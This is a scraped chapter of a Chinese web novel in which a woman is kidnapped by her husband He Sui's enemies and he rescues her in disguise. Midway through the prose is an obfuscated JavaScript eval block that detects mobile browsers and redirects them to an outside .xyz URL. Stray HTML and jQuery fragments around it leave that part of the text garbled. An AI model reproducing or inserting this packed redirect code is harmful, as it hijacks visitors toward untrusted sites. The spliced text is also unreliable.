3. 第三章

作品:《其叶蓁蓁

    夜沉如墨,烛火熠熠摇曳,光影翩跹于四壁。焰苗轻舞,毕剥作响,宛若悉悉密语。


    白枝念轻捻一片叶子,一只手稳稳地握着刻刀,仔细地雕刻着。


    “夫人,”身旁的婢女抬眸瞧了瞧白枝念的神色,犹豫再三,还是小心翼翼地开口说道。“时候实在是不早了,还是早些安歇吧。”


    “我无事,”白枝念挥了挥手,随口说道,“我再雕一会,你且先去休息吧。”


    她的目光依旧停留在手中的叶雕上,刻刀在叶片上游走未有半点停歇。


    “可是……”婢女张了张嘴,似乎还想再说些什么,但看着白枝念专注的样子,只得微微欠了欠身,随即转身推门退下了。


    白枝念抬起头,透过那雕花窗子,不经意扫到了贺绥的书房。


    只见那间房依旧灯火通明,明亮的烛光将窗纸映照着透亮,通过透出的光影,隐约可见贺绥似乎也正坐在案旁,应该是办公务。


    自从那天起,白枝念鲜少跟贺绥碰上,这些天来,贺绥每天早早地出门离去,忙碌于各种事务之中,又在府里办公到很晚。


    听街上的闲聊碎语,白枝念也大致了解到一些朝中的局势。似乎是朝中又不安宁,有许多大臣不满于贺绥一手遮天,联合起来,接二连三向陛下弹劾贺绥,企图扳倒贺绥。


    白枝念轻轻摇了摇头,又将思绪放回到叶雕上,自打那日过后,她依旧每日到长街上卖叶雕,凭借着独特的技艺,叶雕生意依旧火爆,而且有了那日贺绥的出面,也无人再敢找她的麻烦。


    听闻那日白亦婉回去,已经足足在白府躲了半个月没有出头露面,想到这里,白枝念的嘴角不自觉地上扬,很是痛快。


    白枝念正把叶雕一个个仔细地放入盒子,此时,又听见房门被人推开的声音。


    “我一会就弄完了,”白枝念手上的活没停,头也不回地说道,“你们就先休息就行,不用管我。”


    白枝念等了片刻,却迟迟没有听到婢女回答,房间里弥漫着一种异样的安静。她正要疑惑起身,却看到她的桌前出现了一道黑影。


    白枝念还没有转过身来,对方一记手刃,她只觉脖颈处一阵剧痛,眼前瞬间变得模糊不清,便陷入了昏迷之中。


    -


    “事情都办好了吧?”


    “妥了,信已经送到了左相府,估摸他很快就会动身赶来。”


    另一人听闻,嗤笑一声,“那接下来的时辰,咱们就守在这里,等着鱼上钩,来个守株待兔。”


    白枝念只觉脑袋昏昏沉沉得厉害,她好不容易迷迷糊糊地睁开了眼睛,却发现自己双手被粗绳紧紧捆绑,身子正被绑在一根木柱上。就在不远处,两个男人正在交谈着,声音顺着空气,直直地钻进她耳朵里


    “哟,醒了?”其中一名男子眼尖,注意到了白枝念这边的细微动静,慢悠悠走了过来。


    白枝念抬头一看,面容一怔,眼前的这位男子双臂抱着胸,身形有些歪斜,左脚明显跛得厉害,而他的身后,另外一个男子围着黑色的头巾,也朝白枝念走过来。


    跛脚男子察觉到白枝念那一瞬间的愣神,脸上露出了一丝冷笑,恶狠狠说道,“看什么,我这腿,这可都拜你的好夫君所赐。”


    而围着黑色头巾的男子,也缓缓地摘下来头巾,借着几缕微弱的烛光,在他的额头上,隐隐约约地能看到一道狰狞的伤痕。


    “不过,一会等到他过来,咱们对他可不能这是这些苦头了。”他的脸上恨意翻涌,又重新地围上了头巾,声音仿佛是从牙缝里挤出来的一般,“让他好好尝尝这生不如死的滋味。”


    另外跛脚男人按耐不住,跟着附和道,“我们要让他趴在地上跟我们求饶,让我们这些年都因为他吃的苦头,千倍万倍地偿还回来。”


    听到这些,白枝念在心里瞬间了然,这两人大抵是贺绥的仇家。


    她强压下心里的慌乱,不动声色地迅速打量着周围的环境,这里应该是一间废弃仓库,屋内只有几根快要燃尽的火烛,照着着狭小的空间,四周弥漫着一股腐朽的气息。


    “你们说,左相一会便会过来?”白枝念深呼一口气。努力让自己镇定下来,抬起头地问道。


    “我们传信告诉他你在这里,还特意叮嘱,必须让他一个人来,不然,就立马宰了你。”跛脚男子倒是没想到白枝念如此冷静。


    “你们抓我根本没用的,左相不会来的,我虽嫁入了左相府,但和左相并不熟识,他不会来救我的。”白枝念听到了后,冷静地对两人一字一句地说道。


    谁知,跛脚男子却挑了挑眉,“不熟识?我们可是看到贺绥亲自为你澄清,”他冷冷地看着,“白枝念,事到如今就别想为自己开脱了。”


    两人说罢,便没有再搭理白枝念,而是凑到一看,讨论起该把贺绥怎样碎尸万段。


    可是谁知,过了两个时辰,却正如白枝念所说的,大门一直紧闭着,丝毫没有动静。


    -


    “我去到外面打个水。”那个黑色头巾男子坐不住了,独自朝着外面走去。


    跛脚男子也开始急躁起来,在白枝念面前来回打转,嘴里还不时嘟嚷着什么。


    “我说了吧,左相是不会来的。”


    白枝念定定地看着他。平稳地说道。


    白枝念自知自己和左相不过泛泛之交,无甚交情,更别说让左相一个人过来以身犯险。


    自穿越过来,还只是她自己欠贺绥人情,贺绥又有什么理由要帮他。


    “不可能,”那男子一听,顿时暴跳如雷,气急败坏地喊道,“这次计划这么久……我们好不容易发现这个软肋。”


    “贺绥这个人行事向来都滴水不漏,更不会有人成为他的软肋。”


    白枝念抬起头,淡淡地说道。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885776|159879||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    就在此时,那个带黑色头巾的人打完水回来了,他整个人站在阴影里,脸上神色隐在黑暗中,瞧不真切。


    “既然如此,那我们也不必在这里和你纠缠了,”跛脚男子脸上闪过一丝狠厉,“老李,拿刀来,既然贺绥不来了,我们就干脆直接了解她得了。”


    黑色头巾男子缓缓地走了过来,向他递了刀,跛脚男子刚要伸手去接,刹那间,那个黑色头巾的男子忽然握起刀柄,刀锋瞬间刺入跛脚男子的小腹!


    “你!”跛脚男子惊叫一声,重重地跌落在地上鲜血迅速在他身下蔓延开来。


    黑色头巾男子将头巾一把扯下,烛火照清他的脸庞,这哪是原本那个男子,分明是左相贺绥!


    贺绥一脚把跛脚男子踢远了些,扬起一片尘埃,微微挑了挑眉。


    “不是你给我报信的吗?怎么,见到我这么惊讶。”


    “贺绥你这个畜生……”跛脚男子躺在地上,怒骂着。


    “这么多年来,你倒是依旧没什么长进。”贺绥不屑地嗤笑一声,转身,拿着刀走向白枝念,附身给她松了绑。


    粗绳勒得白枝念白皙的手腕上一道道红痕,白枝念稍稍揉了揉手腕。


    “你真是一个人来的?”白枝念瞪大眼睛,惊讶地问道。


    “……侍从护院都在外面。”贺绥看着白枝念并没有伤痕,心里莫名松了一口气,“我们现在就出去。”


    当下人来报信说白枝念被抓的时候,其实贺绥其实犹豫的,毕竟自己和白枝念只是表面夫妻,甚至如果白枝念因此消失,倒还会给自己减轻负担。


    可不知为何,脑海里却突然浮现女孩拿着破损的叶雕,小心翼翼地回答自己的模样,又想到她因自己的仇敌,生死不明,贺绥只觉心里一阵慌乱,于是当机立断地跟部下赶到这里。


    在外面听到白枝念安然无恙时,贺绥不安的心才平静几分,但又怕贸然闯入会伤及她,正好碰到黑色头巾男子出来打水,贺绥顺势乔装打扮进去。


    “你刚刚不是说我行事滴水不漏吗,”贺绥淡淡地说道,“怎么可能真只身犯险。”


    白枝念一愣,脸颊微微发红。


    那时候的她怎么可能想到贺绥真的听到这话。


    她原本就不抱希望贺绥能来,她在贺绥眼中本就无足轻重,更何况前几日贺绥还说过不会再出面帮他。她甚至还想打消绑匪去抓贺绥的念头,进而和他们谈判,拿自己的钱赎命。


    “我们走。”贺绥不想在这里多呆,迅速说道。


    白枝念回过神来,下意识地点点头,眼神余光不经意一扫,却看见角落里闪过一丝冷光!


    那跛脚男子不知何时爬到了角落,他的双手紧握着拿着一把陈旧的弓箭,面目因仇恨而扭曲得狰狞可怖,正死死地瞄准了两人。


    “去死吧!”


    箭头裹挟着呼啸的空气,直冲两人袭来!